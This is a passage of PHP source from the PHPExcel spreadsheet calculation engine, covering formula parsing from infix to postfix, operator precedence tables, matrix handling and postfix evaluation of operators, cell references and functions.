$matrix1[$i][$matrix1Columns-1]; for ($j = $matrix1Columns; $j < $matrix2Columns; ++$j) { $matrix1[$i][$j] = $x; } } } if ($matrix1Rows < $matrix2Rows) { $x = $matrix1[$matrix1Rows-1]; for ($i = 0; $i < $matrix2Rows; ++$i) { $matrix1[$i] = $x; } } } } /** * Format details of an operand for display in the log (based on operand type) * * @param mixed $value First matrix operand * @return mixed */ private function showValue($value) { if ($this->_debugLog->getWriteDebugLog()) { $testArray = PHPExcel_Calculation_Functions::flattenArray($value); if (count($testArray) == 1) { $value = array_pop($testArray); } if (is_array($value)) { $returnMatrix = array(); $pad = $rpad = ', '; foreach ($value as $row) { if (is_array($row)) { $returnMatrix[] = implode($pad, array_map(array($this, 'showValue'), $row)); $rpad = '; '; } else { $returnMatrix[] = $this->showValue($row); } } return '{ '.implode($rpad, $returnMatrix).' }'; } elseif (is_string($value) && (trim($value, '"') == $value)) { return '"'.$value.'"'; } elseif (is_bool($value)) { return ($value) ? self::$localeBoolean['TRUE'] : self::$localeBoolean['FALSE']; } } return PHPExcel_Calculation_Functions::flattenSingleValue($value); } /** * Format type and details of an operand for display in the log (based on operand type) * * @param mixed $value First matrix operand * @return mixed */ private function showTypeDetails($value) { if ($this->_debugLog->getWriteDebugLog()) { $testArray = PHPExcel_Calculation_Functions::flattenArray($value); if (count($testArray) == 1) { $value = array_pop($testArray); } if ($value === null) { return 'a NULL value'; } elseif (is_float($value)) { $typeString = 'a floating point number'; } elseif (is_int($value)) { $typeString = 'an integer number'; } elseif (is_bool($value)) { $typeString = 'a boolean'; } elseif (is_array($value)) { $typeString = 'a matrix'; } else { if ($value == '') { return 'an empty string'; } elseif ($value{0} == '#') { return 'a '.$value.' error'; } else { $typeString = 'a string'; } } return $typeString.' with a value of '.$this->showValue($value); } } private function convertMatrixReferences($formula) { static $matrixReplaceFrom = array('{', ';', '}'); static $matrixReplaceTo = array('MKMATRIX(MKMATRIX(', '),MKMATRIX(', '))'); // Convert any Excel matrix references to the MKMATRIX() function if (strpos($formula, '{') !== false) { // If there is the possibility of braces within a quoted string, then we don't treat those as matrix indicators if (strpos($formula, '"') !== false) { // So instead we skip replacing in any quoted strings by only replacing in every other array element after we've exploded // the formula $temp = explode('"', $formula); // Open and Closed counts used for trapping mismatched braces in the formula $openCount = $closeCount = 0; $i = false; foreach ($temp as &$value) { // Only count/replace in alternating array entries if ($i = !$i) { $openCount += substr_count($value, '{'); $closeCount += substr_count($value, '}'); $value = str_replace($matrixReplaceFrom, $matrixReplaceTo, $value); } } unset($value); // Then rebuild the formula string $formula = implode('"', $temp); } else { // If there's no quoted strings, then we do a simple count/replace $openCount = substr_count($formula, '{'); $closeCount = substr_count($formula, '}'); $formula = str_replace($matrixReplaceFrom, $matrixReplaceTo, $formula); } // Trap for mismatched braces and trigger an appropriate error if ($openCount < $closeCount) { if ($openCount > 0) { return $this->raiseFormulaError("Formula Error: Mismatched matrix braces '}'"); } else { return $this->raiseFormulaError("Formula Error: Unexpected '}' encountered"); } } elseif ($openCount > $closeCount) { if ($closeCount > 0) { return $this->raiseFormulaError("Formula Error: Mismatched matrix braces '{'"); } else { return $this->raiseFormulaError("Formula Error: Unexpected '{' encountered"); } } } return $formula; } private static function mkMatrix() { return func_get_args(); } // Binary Operators // These operators always work on two values // Array key is the operator, the value indicates whether this is a left or right associative operator private static $operatorAssociativity = array( '^' => 0, // Exponentiation '*' => 0, '/' => 0, // Multiplication and Division '+' => 0, '-' => 0, // Addition and Subtraction '&' => 0, // Concatenation '|' => 0, ':' => 0, // Intersect and Range '>' => 0, '<' => 0, '=' => 0, '>=' => 0, '<=' => 0, '<>' => 0 // Comparison ); // Comparison (Boolean) Operators // These operators work on two values, but always return a boolean result private static $comparisonOperators = array('>' => true, '<' => true, '=' => true, '>=' => true, '<=' => true, '<>' => true); // Operator Precedence // This list includes all valid operators, whether binary (including boolean) or unary (such as %) // Array key is the operator, the value is its precedence private static $operatorPrecedence = array( ':' => 8, // Range '|' => 7, // Intersect '~' => 6, // Negation '%' => 5, // Percentage '^' => 4, // Exponentiation '*' => 3, '/' => 3, // Multiplication and Division '+' => 2, '-' => 2, // Addition and Subtraction '&' => 1, // Concatenation '>' => 0, '<' => 0, '=' => 0, '>=' => 0, '<=' => 0, '<>' => 0 // Comparison ); // Convert infix to postfix notation private function _parseFormula($formula, PHPExcel_Cell $pCell = null) { if (($formula = $this->convertMatrixReferences(trim($formula))) === false) { return false; } // If we're using cell caching, then $pCell may well be flushed back to the cache (which detaches the parent worksheet), // so we store the parent worksheet so that we can re-attach it when necessary $pCellParent = ($pCell !== null) ? $pCell->getWorksheet() : null; $regexpMatchString = '/^('.self::CALCULATION_REGEXP_FUNCTION. '|'.self::CALCULATION_REGEXP_CELLREF. '|'.self::CALCULATION_REGEXP_NUMBER. '|'.self::CALCULATION_REGEXP_STRING. '|'.self::CALCULATION_REGEXP_OPENBRACE. '|'.self::CALCULATION_REGEXP_NAMEDRANGE. '|'.self::CALCULATION_REGEXP_ERROR. ')/si'; // Start with initialisation $index = 0; $stack = new PHPExcel_Calculation_Token_Stack; $output = array(); $expectingOperator = false; // We use this test in syntax-checking the expression to determine when a // - is a negation or + is a positive operator rather than an operation $expectingOperand = false; // We use this test in syntax-checking the expression to determine whether an operand // should be null in a function call // The guts of the lexical parser // Loop through the formula extracting each operator and operand in turn while (true) { //echo 'Assessing Expression '.substr($formula, $index), PHP_EOL; $opCharacter = $formula{$index}; // Get the first character of the value at the current index position //echo 'Initial character of expression block is '.$opCharacter, PHP_EOL; if ((isset(self::$comparisonOperators[$opCharacter])) && (strlen($formula) > $index) && (isset(self::$comparisonOperators[$formula{$index+1}]))) { $opCharacter .= $formula{++$index}; //echo 'Initial character of expression block is comparison operator '.$opCharacter.PHP_EOL; } // Find out if we're currently at the beginning of a number, variable, cell reference, function, parenthesis or operand $isOperandOrFunction = preg_match($regexpMatchString, substr($formula, $index), $match); //echo '$isOperandOrFunction is '.(($isOperandOrFunction) ? 'True' : 'False').PHP_EOL; //var_dump($match); if ($opCharacter == '-' && !$expectingOperator) { // Is it a negation instead of a minus? //echo 'Element is a Negation operator', PHP_EOL; $stack->push('Unary Operator', '~'); // Put a negation on the stack ++$index; // and drop the negation symbol } elseif ($opCharacter == '%' && $expectingOperator) { //echo 'Element is a Percentage operator', PHP_EOL; $stack->push('Unary Operator', '%'); // Put a percentage on the stack ++$index; } elseif ($opCharacter == '+' && !$expectingOperator) { // Positive (unary plus rather than binary operator plus) can be discarded? //echo 'Element is a Positive number, not Plus operator', PHP_EOL; ++$index; // Drop the redundant plus symbol } elseif ((($opCharacter == '~') || ($opCharacter == '|')) && (!$isOperandOrFunction)) { // We have to explicitly deny a tilde or pipe, because they are legal return $this->raiseFormulaError("Formula Error: Illegal character '~'"); // on the stack but not in the input expression } elseif ((isset(self::$operators[$opCharacter]) or $isOperandOrFunction) && $expectingOperator) { // Are we putting an operator on the stack? //echo 'Element with value '.$opCharacter.' is an Operator', PHP_EOL; while ($stack->count() > 0 && ($o2 = $stack->last()) && isset(self::$operators[$o2['value']]) && @(self::$operatorAssociativity[$opCharacter] ? self::$operatorPrecedence[$opCharacter] < self::$operatorPrecedence[$o2['value']] : self::$operatorPrecedence[$opCharacter] <= self::$operatorPrecedence[$o2['value']])) { $output[] = $stack->pop(); // Swap operands and higher precedence operators from the stack to the output } $stack->push('Binary Operator', $opCharacter); // Finally put our current operator onto the stack ++$index; $expectingOperator = false; } elseif ($opCharacter == ')' && $expectingOperator) { // Are we expecting to close a parenthesis? //echo 'Element is a Closing bracket', PHP_EOL; $expectingOperand = false; while (($o2 = $stack->pop()) && $o2['value'] != '(') { // Pop off the stack back to the last ( if ($o2 === null) { return $this->raiseFormulaError('Formula Error: Unexpected closing brace ")"'); } else { $output[] = $o2; } } $d = $stack->last(2); if (preg_match('/^'.self::CALCULATION_REGEXP_FUNCTION.'$/i', $d['value'], $matches)) { // Did this parenthesis just close a function? $functionName = $matches[1]; // Get the function name //echo 'Closed Function is '.$functionName, PHP_EOL; $d = $stack->pop(); $argumentCount = $d['value']; // See how many arguments there were (argument count is the next value stored on the stack) //if ($argumentCount == 0) { // echo 'With no arguments', PHP_EOL; //} elseif ($argumentCount == 1) { // echo 'With 1 argument', PHP_EOL; //} else { // echo 'With '.$argumentCount.' arguments', PHP_EOL; //} $output[] = $d; // Dump the argument count on the output $output[] = $stack->pop(); // Pop the function and push onto the output if (isset(self::$controlFunctions[$functionName])) { //echo 'Built-in function '.$functionName, PHP_EOL; $expectedArgumentCount = self::$controlFunctions[$functionName]['argumentCount']; $functionCall = self::$controlFunctions[$functionName]['functionCall']; } elseif (isset(self::$PHPExcelFunctions[$functionName])) { //echo 'PHPExcel function '.$functionName, PHP_EOL; $expectedArgumentCount = self::$PHPExcelFunctions[$functionName]['argumentCount']; $functionCall = self::$PHPExcelFunctions[$functionName]['functionCall']; } else { // did we somehow push a non-function on the stack? this should never happen return $this->raiseFormulaError("Formula Error: Internal error, non-function on stack"); } // Check the argument count $argumentCountError = false; if (is_numeric($expectedArgumentCount)) { if ($expectedArgumentCount < 0) { //echo '$expectedArgumentCount is between 0 and '.abs($expectedArgumentCount), PHP_EOL; if ($argumentCount > abs($expectedArgumentCount)) { $argumentCountError = true; $expectedArgumentCountString = 'no more than '.abs($expectedArgumentCount); } } else { //echo '$expectedArgumentCount is numeric '.$expectedArgumentCount, PHP_EOL; if ($argumentCount != $expectedArgumentCount) { $argumentCountError = true; $expectedArgumentCountString = $expectedArgumentCount; } } } elseif ($expectedArgumentCount != '*') { $isOperandOrFunction = preg_match('/(\d*)([-+,])(\d*)/', $expectedArgumentCount, $argMatch); //print_r($argMatch); //echo PHP_EOL; switch ($argMatch[2]) { case '+': if ($argumentCount < $argMatch[1]) { $argumentCountError = true; $expectedArgumentCountString = $argMatch[1].' or more '; } break; case '-': if (($argumentCount < $argMatch[1]) || ($argumentCount > $argMatch[3])) { $argumentCountError = true; $expectedArgumentCountString = 'between '.$argMatch[1].' and '.$argMatch[3]; } break; case ',': if (($argumentCount != $argMatch[1]) && ($argumentCount != $argMatch[3])) { $argumentCountError = true; $expectedArgumentCountString = 'either '.$argMatch[1].' or '.$argMatch[3]; } break; } } if ($argumentCountError) { return $this->raiseFormulaError("Formula Error: Wrong number of arguments for $functionName() function: $argumentCount given, ".$expectedArgumentCountString." expected"); } } ++$index; } elseif ($opCharacter == ',') { // Is this the separator for function arguments? //echo 'Element is a Function argument separator', PHP_EOL; while (($o2 = $stack->pop()) && $o2['value'] != '(') { // Pop off the stack back to the last ( if ($o2 === null) { return $this->raiseFormulaError("Formula Error: Unexpected ,"); } else { $output[] = $o2; // pop the argument expression stuff and push onto the output } } // If we've a comma when we're expecting an operand, then what we actually have is a null operand; // so push a null onto the stack if (($expectingOperand) || (!$expectingOperator)) { $output[] = array('type' => 'NULL Value', 'value' => self::$excelConstants['NULL'], 'reference' => null); } // make sure there was a function $d = $stack->last(2); if (!preg_match('/^'.self::CALCULATION_REGEXP_FUNCTION.'$/i', $d['value'], $matches)) { return $this->raiseFormulaError("Formula Error: Unexpected ,"); } $d = $stack->pop(); $stack->push($d['type'], ++$d['value'], $d['reference']); // increment the argument count $stack->push('Brace', '('); // put the ( back on, we'll need to pop back to it again $expectingOperator = false; $expectingOperand = true; ++$index; } elseif ($opCharacter == '(' && !$expectingOperator) { // echo 'Element is an Opening Bracket<br />'; $stack->push('Brace', '('); ++$index; } elseif ($isOperandOrFunction && !$expectingOperator) { // do we now have a function/variable/number? $expectingOperator = true; $expectingOperand = false; $val = $match[1]; $length = strlen($val); // echo 'Element with value '.$val.' is an Operand, Variable, Constant, String, Number, Cell Reference or Function<br />'; if (preg_match('/^'.self::CALCULATION_REGEXP_FUNCTION.'$/i', $val, $matches)) { $val = preg_replace('/\s/u', '', $val); // echo 'Element '.$val.' is a Function<br />'; if (isset(self::$PHPExcelFunctions[strtoupper($matches[1])]) || isset(self::$controlFunctions[strtoupper($matches[1])])) { // it's a function $stack->push('Function', strtoupper($val)); $ax = preg_match('/^\s*(\s*\))/ui', substr($formula, $index+$length), $amatch); if ($ax) { $stack->push('Operand Count for Function '.strtoupper($val).')', 0); $expectingOperator = true; } else { $stack->push('Operand Count for Function '.strtoupper($val).')', 1); $expectingOperator = false; } $stack->push('Brace', '('); } else { // it's a var w/ implicit multiplication $output[] = array('type' => 'Value', 'value' => $matches[1], 'reference' => null); } } elseif (preg_match('/^'.self::CALCULATION_REGEXP_CELLREF.'$/i', $val, $matches)) { // echo 'Element '.$val.' is a Cell reference<br />'; // Watch for this case-change when modifying to allow cell references in different worksheets... // Should only be applied to the actual cell column, not the worksheet name // If the last entry on the stack was a : operator, then we have a cell range reference $testPrevOp = $stack->last(1); if ($testPrevOp['value'] == ':') { // If we have a worksheet reference, then we're playing with a 3D reference if ($matches[2] == '') { // Otherwise, we 'inherit' the worksheet reference from the start cell reference // The start of the cell range reference should be the last entry in $output $startCellRef = $output[count($output)-1]['value']; preg_match('/^'.self::CALCULATION_REGEXP_CELLREF.'$/i', $startCellRef, $startMatches); if ($startMatches[2] > '') { $val = $startMatches[2].'!'.$val; } } else { return $this->raiseFormulaError("3D Range references are not yet supported"); } } $output[] = array('type' => 'Cell Reference', 'value' => $val, 'reference' => $val); // $expectingOperator = FALSE; } else { // it's a variable, constant, string, number or boolean // echo 'Element is a Variable, Constant, String, Number or Boolean<br />'; // If the last entry on the stack was a : operator, then we may have a row or column range reference $testPrevOp = $stack->last(1); if ($testPrevOp['value'] == ':') { $startRowColRef = $output[count($output)-1]['value']; $rangeWS1 = ''; if (strpos('!', $startRowColRef) !== false) { list($rangeWS1, $startRowColRef) = explode('!', $startRowColRef); } if ($rangeWS1 != '') { $rangeWS1 .= '!'; } $rangeWS2 = $rangeWS1; if (strpos('!', $val) !== false) { list($rangeWS2, $val) = explode('!', $val); } if ($rangeWS2 != '') { $rangeWS2 .= '!'; } if ((is_integer($startRowColRef)) && (ctype_digit($val)) && ($startRowColRef <= 1048576) && ($val <= 1048576)) { // Row range $endRowColRef = ($pCellParent !== null) ? $pCellParent->getHighestColumn() : 'XFD'; // Max 16,384 columns for Excel2007 $output[count($output)-1]['value'] = $rangeWS1.'A'.$startRowColRef; $val = $rangeWS2.$endRowColRef.$val; } elseif ((ctype_alpha($startRowColRef)) && (ctype_alpha($val)) && (strlen($startRowColRef) <= 3) && (strlen($val) <= 3)) { // Column range $endRowColRef = ($pCellParent !== null) ? $pCellParent->getHighestRow() : 1048576; // Max 1,048,576 rows for Excel2007 $output[count($output)-1]['value'] = $rangeWS1.strtoupper($startRowColRef).'1'; $val = $rangeWS2.$val.$endRowColRef; } } $localeConstant = false; if ($opCharacter == '"') { // echo 'Element is a String<br />'; // UnEscape any quotes within the string $val = self::wrapResult(str_replace('""', '"', self::unwrapResult($val))); } elseif (is_numeric($val)) { // echo 'Element is a Number<br />'; if ((strpos($val, '.') !== false) || (stripos($val, 'e') !== false) || ($val > PHP_INT_MAX) || ($val < -PHP_INT_MAX)) { // echo 'Casting '.$val.' to float<br />'; $val = (float) $val; } else { // echo 'Casting '.$val.' to integer<br />'; $val = (integer) $val; } } elseif (isset(self::$excelConstants[trim(strtoupper($val))])) { $excelConstant = trim(strtoupper($val)); // echo 'Element '.$excelConstant.' is an Excel Constant<br />'; $val = self::$excelConstants[$excelConstant]; } elseif (($localeConstant = array_search(trim(strtoupper($val)), self::$localeBoolean)) !== false) { // echo 'Element '.$localeConstant.' is an Excel Constant<br />'; $val = self::$excelConstants[$localeConstant]; } $details = array('type' => 'Value', 'value' => $val, 'reference' => null); if ($localeConstant) { $details['localeValue'] = $localeConstant; } $output[] = $details; } $index += $length; } elseif ($opCharacter == '$') { // absolute row or column range ++$index; } elseif ($opCharacter == ')') { // miscellaneous error checking if ($expectingOperand) { $output[] = array('type' => 'NULL Value', 'value' => self::$excelConstants['NULL'], 'reference' => null); $expectingOperand = false; $expectingOperator = true; } else { return $this->raiseFormulaError("Formula Error: Unexpected ')'"); } } elseif (isset(self::$operators[$opCharacter]) && !$expectingOperator) { return $this->raiseFormulaError("Formula Error: Unexpected operator '$opCharacter'"); } else { // I don't even want to know what you did to get here return $this->raiseFormulaError("Formula Error: An unexpected error occured"); } // Test for end of formula string if ($index == strlen($formula)) { // Did we end with an operator?. // Only valid for the % unary operator if ((isset(self::$operators[$opCharacter])) && ($opCharacter != '%')) { return $this->raiseFormulaError("Formula Error: Operator '$opCharacter' has no operands"); } else { break; } } // Ignore white space while (($formula{$index} == "\n") || ($formula{$index} == "\r")) { ++$index; } if ($formula{$index} == ' ') { while ($formula{$index} == ' ') { ++$index; } // If we're expecting an operator, but only have a space between the previous and next operands (and both are // Cell References) then we have an INTERSECTION operator // echo 'Possible Intersect Operator<br />'; if (($expectingOperator) && (preg_match('/^'.self::CALCULATION_REGEXP_CELLREF.'.*/Ui', substr($formula, $index), $match)) && ($output[count($output)-1]['type'] == 'Cell Reference')) { // echo 'Element is an Intersect Operator<br />'; while ($stack->count() > 0 && ($o2 = $stack->last()) && isset(self::$operators[$o2['value']]) && @(self::$operatorAssociativity[$opCharacter] ? self::$operatorPrecedence[$opCharacter] < self::$operatorPrecedence[$o2['value']] : self::$operatorPrecedence[$opCharacter] <= self::$operatorPrecedence[$o2['value']])) { $output[] = $stack->pop(); // Swap operands and higher precedence operators from the stack to the output } $stack->push('Binary Operator', '|'); // Put an Intersect Operator on the stack $expectingOperator = false; } } } while (($op = $stack->pop()) !== null) { // pop everything off the stack and push onto output if ((is_array($op) && $op['value'] == '(') || ($op === '(')) { return $this->raiseFormulaError("Formula Error: Expecting ')'"); // if there are any opening braces on the stack, then braces were unbalanced } $output[] = $op; } return $output; } private static function dataTestReference(&$operandData) { $operand = $operandData['value']; if (($operandData['reference'] === null) && (is_array($operand))) { $rKeys = array_keys($operand); $rowKey = array_shift($rKeys); $cKeys = array_keys(array_keys($operand[$rowKey])); $colKey = array_shift($cKeys); if (ctype_upper($colKey)) { $operandData['reference'] = $colKey.$rowKey; } } return $operand; } // evaluate postfix notation private function processTokenStack($tokens, $cellID = null, PHPExcel_Cell $pCell = null) { if ($tokens == false) { return false; } // If we're using cell caching, then $pCell may well be flushed back to the cache (which detaches the parent cell collection), // so we store the parent cell collection so that we can re-attach it when necessary $pCellWorksheet = ($pCell !== null) ? $pCell->getWorksheet() : null; $pCellParent = ($pCell !== null) ? $pCell->getParent() : null; $stack = new PHPExcel_Calculation_Token_Stack; // Loop through each token in turn foreach ($tokens as $tokenData) { // print_r($tokenData); // echo '<br />'; $token = $tokenData['value']; // echo '<b>Token is '.$token.'</b><br />'; // if the token is a binary operator, pop the top two values off the stack, do the operation, and push the result back on the stack if (isset(self::$binaryOperators[$token])) { // echo 'Token is a binary operator<br />'; // We must have two operands, error if we don't if (($operand2Data = $stack->pop()) === null) { return $this->raiseFormulaError('Internal error - Operand value missing from stack'); } if (($operand1Data = $stack->pop()) === null) { return $this->raiseFormulaError('Internal error - Operand value missing from stack'); } $operand1 = self::dataTestReference($operand1Data); $operand2 = self::dataTestReference($operand2Data); // Log what we're doing if ($token == ':') { $this->_debugLog->writeDebugLog('Evaluating Range ', $this->showValue($operand1Data['reference']), ' ', $token, ' ', $this->showValue($operand2Data['reference'])); } else { $this->_debugLog->writeDebugLog('Evaluating ', $this->showValue($operand1), ' ', $token, ' ', $this->showValue($operand2)); } // Process the operation in the appropriate manner switch ($token) { // Comparison (Boolean) Operators case '>': // Greater than case '<': // Less than case '>=': // Greater than or Equal to case '<=': // Less than or Equal to case '=': // Equality case '<>': // Inequality $this->executeBinaryComparisonOperation($cellID, $operand1, $operand2, $token, $stack); break; // Binary Operators case ':': // Range $sheet1 = $sheet2 = ''; if (strpos($operand1Data['reference'], '!') !== false) { list($sheet1, $operand1Data['reference']) = explode('!', $operand1Data['reference']); } else { $sheet1 = ($pCellParent !== null) ? $pCellWorksheet->getTitle() : ''; } if (strpos($operand2Data['reference'], '!') !== false) { list($sheet2, $operand2Data['reference']) = explode('!', $operand2Data['reference']); } else { $sheet2 = $sheet1; } if ($sheet1 == $sheet2) { if ($operand1Data['reference'] === null) { if ((trim($operand1Data['value']) != '') && (is_numeric($operand1Data['value']))) { $operand1Data['reference'] = $pCell->getColumn().$operand1Data['value']; } elseif (trim($operand1Data['reference']) == '') { $operand1Data['reference'] = $pCell->getCoordinate(); } else { $operand1Data['reference'] = $operand1Data['value'].$pCell->getRow(); } } if ($operand2Data['reference'] === null) { if ((trim($operand2Data['value']) != '') && (is_numeric($operand2Data['value']))) { $operand2Data['reference'] = $pCell->getColumn().$operand2Data['value']; } elseif (trim($operand2Data['reference']) == '') { $operand2Data['reference'] = $pCell->getCoordinate(); } else { $operand2Data['reference'] = $operand2Data['value'].$pCell->getRow(); } } $oData = array_merge(explode(':', $operand1Data['reference']), explode(':', $operand2Data['reference'])); $oCol = $oRow = array(); foreach ($oData as $oDatum) { $oCR = PHPExcel_Cell::coordinateFromString($oDatum); $oCol[] = PHPExcel_Cell::columnIndexFromString($oCR[0]) - 1; $oRow[] = $oCR[1]; } $cellRef = PHPExcel_Cell::stringFromColumnIndex(min($oCol)).min($oRow).':'.PHPExcel_Cell::stringFromColumnIndex(max($oCol)).max($oRow); if ($pCellParent !== null) { $cellValue = $this->extractCellRange($cellRef, $this->workbook->getSheetByName($sheet1), false); } else { return $this->raiseFormulaError('Unable to access Cell Reference'); } $stack->push('Cell Reference', $cellValue, $cellRef); } else { $stack->push('Error', PHPExcel_Calculation_Functions::REF(), null); } break; case '+': // Addition $this->executeNumericBinaryOperation($cellID, $operand1, $operand2, $token, 'plusEquals', $stack); break; case '-': // Subtraction $this->executeNumericBinaryOperation($cellID, $operand1, $operand2, $token, 'minusEquals', $stack); break; case '*': // Multiplication $this->executeNumericBinaryOperation($cellID, $operand1, $operand2, $token, 'arrayTimesEquals', $stack); break; case '/': // Division $this->executeNumericBinaryOperation($cellID, $operand1, $operand2, $token, 'arrayRightDivide', $stack); break; case '^': // Exponential $this->executeNumericBinaryOperation($cellID, $operand1, $operand2, $token, 'power', $stack); break; case '&': // Concatenation // If either of the operands is a matrix, we need to treat them both as matrices // (converting the other operand to a matrix if need be); then perform the required // matrix operation if (is_bool($operand1)) { $operand1 = ($operand1) ? self::$localeBoolean['TRUE'] : self::$localeBoolean['FALSE']; } if (is_bool($operand2)) { $operand2 = ($operand2) ? self::$localeBoolean['TRUE'] : self::$localeBoolean['FALSE']; } if ((is_array($operand1)) || (is_array($operand2))) { // Ensure that both operands are arrays/matrices self::checkMatrixOperands($operand1, $operand2, 2); try { // Convert operand 1 from a PHP array to a matrix $matrix = new PHPExcel_Shared_JAMA_Matrix($operand1); // Perform the required operation against the operand 1 matrix, passing in operand 2 $matrixResult = $matrix->concat($operand2); $result = $matrixResult->getArray(); } catch (PHPExcel_Exception $ex) { $this->_debugLog->writeDebugLog('JAMA Matrix Exception: ', $ex->getMessage()); $result = '#VALUE!'; } } else { $result = '"'.str_replace('""', '"', self::unwrapResult($operand1, '"').self::unwrapResult($operand2, '"')).'"'; } $this->_debugLog->writeDebugLog('Evaluation Result is ', $this->showTypeDetails($result)); $stack->push('Value', $result); break; case '|': // Intersect $rowIntersect = array_intersect_key($operand1, $operand2); $cellIntersect = $oCol = $oRow = array(); foreach (array_keys($rowIntersect) as $row) { $oRow[] = $row; foreach ($rowIntersect[$row] as $col => $data) { $oCol[] = PHPExcel_Cell::columnIndexFromString($col) - 1; $cellIntersect[$row] = array_intersect_key($operand1[$row], $operand2[$row]); } } $cellRef = PHPExcel_Cell::stringFromColumnIndex(min($oCol)).min($oRow).':'.PHPExcel_Cell::stringFromColumnIndex(max($oCol)).max($oRow); $this->_debugLog->writeDebugLog('Evaluation Result is ', $this->showTypeDetails($cellIntersect)); $stack->push('Value', $cellIntersect, $cellRef); break; } // if the token is a unary operator, pop one value off the stack, do the operation, and push it back on } elseif (($token === '~') || ($token === '%')) { // echo 'Token is a unary operator<br />'; if (($arg = $stack->pop()) === null) { return $this->raiseFormulaError('Internal error - Operand value missing from stack'); } $arg = $arg['value']; if ($token === '~') { // echo 'Token is a negation operator<br />'; $this->_debugLog->writeDebugLog('Evaluating Negation of ', $this->showValue($arg)); $multiplier = -1; } else { // echo 'Token is a percentile operator<br />'; $this->_debugLog->writeDebugLog('Evaluating Percentile of ', $this->showValue($arg)); $multiplier = 0.01; } if (is_array($arg)) { self::checkMatrixOperands($arg, $multiplier, 2); try { $matrix1 = new PHPExcel_Shared_JAMA_Matrix($arg); $matrixResult = $matrix1->arrayTimesEquals($multiplier); $result = $matrixResult->getArray(); } catch (PHPExcel_Exception $ex) { $this->_debugLog->writeDebugLog('JAMA Matrix Exception: ', $ex->getMessage()); $result = '#VALUE!'; } $this->_debugLog->writeDebugLog('Evaluation Result is ', $this->showTypeDetails($result)); $stack->push('Value', $result); } else { $this->executeNumericBinaryOperation($cellID, $multiplier, $arg, '*', 'arrayTimesEquals', $stack); } } elseif (preg_match('/^'.self::CALCULATION_REGEXP_CELLREF.'$/i', $token, $matches)) { $cellRef = null; // echo 'Element '.$token.' is a Cell reference<br />'; if (isset($matches[8])) { // echo 'Reference is a Range of cells<br />'; if ($pCell === null) { // We can't access the range, so return a REF error $cellValue = PHPExcel_Calculation_Functions::REF(); } else { $cellRef = $matches[6].$matches[7].':'.$matches[9].$matches[10]; if ($matches[2] > '') { $matches[2] = trim($matches[2], "\"'"); if ((strpos($matches[2], '[') !== false) || (strpos($matches[2], ']') !== false)) { // It's a Reference to an external workbook (not currently supported) return $this->raiseFormulaError('Unable to access External Workbook'); } $matches[2] = trim($matches[2], "\"'"); // echo '$cellRef='.$cellRef.' in worksheet '.$matches[2].'<br />'; $this->_debugLog->writeDebugLog('Evaluating Cell Range ', $cellRef, ' in worksheet ', $matches[2]); if ($pCellParent !== null) { $cellValue = $this->extractCellRange($cellRef, $this->workbook->getSheetByName($matches[2]), false); } else { return $this->raiseFormulaError('Unable to access Cell Reference'); } $this->_debugLog->writeDebugLog('Evaluation Result for cells ', $cellRef, ' in worksheet ', $matches[2], ' is ', $this->showTypeDetails($cellValue)); // $cellRef = $matches[2].'!'.$cellRef; } else { // echo '$cellRef='.$cellRef.' in current worksheet<br />'; $this->_debugLog->writeDebugLog('Evaluating Cell Range ', $cellRef, ' in current worksheet'); if ($pCellParent !== null) { $cellValue = $this->extractCellRange($cellRef, $pCellWorksheet, false); } else { return $this->raiseFormulaError('Unable to access Cell Reference'); } $this->_debugLog->writeDebugLog('Evaluation Result for cells ', $cellRef, ' is ', $this->showTypeDetails($cellValue)); } } } else { // echo 'Reference is a single Cell<br />'; if ($pCell === null) { // We can't access the cell, so return a REF error $cellValue = PHPExcel_Calculation_Functions::REF(); } else { $cellRef = $matches[6].$matches[7]; if ($matches[2] > '') { $matches[2] = trim($matches[2], "\"'"); if ((strpos($matches[2], '[') !== false) || (strpos($matches[2], ']') !== false)) { // It's a Reference to an external workbook (not currently supported) return $this->raiseFormulaError('Unable to access External Workbook'); } // echo '$cellRef='.$cellRef.' in worksheet '.$matches[2].'<br />'; $this->_debugLog->writeDebugLog('Evaluating Cell ', $cellRef, ' in worksheet ', $matches[2]); if ($pCellParent !== null) { $cellSheet = $this->workbook->getSheetByName($matches[2]); if ($cellSheet && $cellSheet->cellExists($cellRef)) { $cellValue = $this->extractCellRange($cellRef, $this->workbook->getSheetByName($matches[2]), false); $pCell->attach($pCellParent); } else { $cellValue = null; } } else { return $this->raiseFormulaError('Unable to access Cell Reference'); } $this->_debugLog->writeDebugLog('Evaluation Result for cell ', $cellRef, ' in worksheet ', $matches[2], ' is ', $this->showTypeDetails($cellValue)); // $cellRef = $matches[2].'!'.$cellRef; } else { // echo '$cellRef='.$cellRef.' in current worksheet<br />'; $this->_debugLog->writeDebugLog('Evaluating Cell ', $cellRef, ' in current worksheet'); if ($pCellParent->isDataSet($cellRef)) { $cellValue = $this->extractCellRange($cellRef, $pCellWorksheet, false); $pCell->attach($pCellParent); } else { $cellValue = null; } $this->_debugLog->writeDebugLog('Evaluation Result for cell ', $cellRef, ' is ', $this->showTypeDetails($cellValue)); } } } $stack->push('Value', $cellValue, $cellRef); // if the token is a function, pop arguments off the stack, hand them to the function, and push the result back on } elseif (preg_match('/^'.self::CALCULATION_REGEXP_FUNCTION.'$/i', $token, $matches)) { // echo 'Token is a function<br />'; $functionName = $matches[1]; $argCount = $stack->pop(); $argCount = $argCount['value']; if ($functionName != 'MKMATRIX') { $this->_debugLog->writeDebugLog('Evaluating Function ', self::localeFunc($functionName), '() with ', (($argCount == 0) ? 'no' : $argCount), ' argument', (($argCount == 1) ? '' : 's')); } if ((isset(self::$PHPExcelFunctions[$functionName])) || (isset(self::$controlFunctions[$functionName]))) { // function if (isset(self::$PHPExcelFunctions[$functionName])) { $functionCall = self::$PHPExcelFunctions[$functionName]['functionCall']; $passByReference = isset(self::$PHPExcelFunctions[$functionName]['passByReference']); $passCellReference = isset(self::$PHPExcelFunctions[$functionName]['passCellReference']); } elseif (isset(self::$controlFunctions[$functionName])) { $functionCall = self::$controlFunctions[$functionName]['functionCall']; $passByReference = isset(self::$controlFunctions[$functionName]['passByReference']); $passCellReference = isset(self::$controlFunctions[$functionName]['passCellReference']); } // get the arguments for this function // echo 'Function '.$functionName.' expects '.$argCount.' arguments<br />'; $args = $argArrayVals = array(); for ($i = 0; $i < $argCount; ++$i) { $arg = $stack->pop(); $a = $argCount - $i - 1; if (($passByReference) && (isset(self::$PHPExcelFunctions[$functionName]['passByReference'][$a])) && (self::$PHPExcelFunctions[$functionName]['passByReference'][$a])) { if ($arg['reference'] === null) { $args[] = $cellID; if ($functionName != 'MKMATRIX') { $argArrayVals[] = 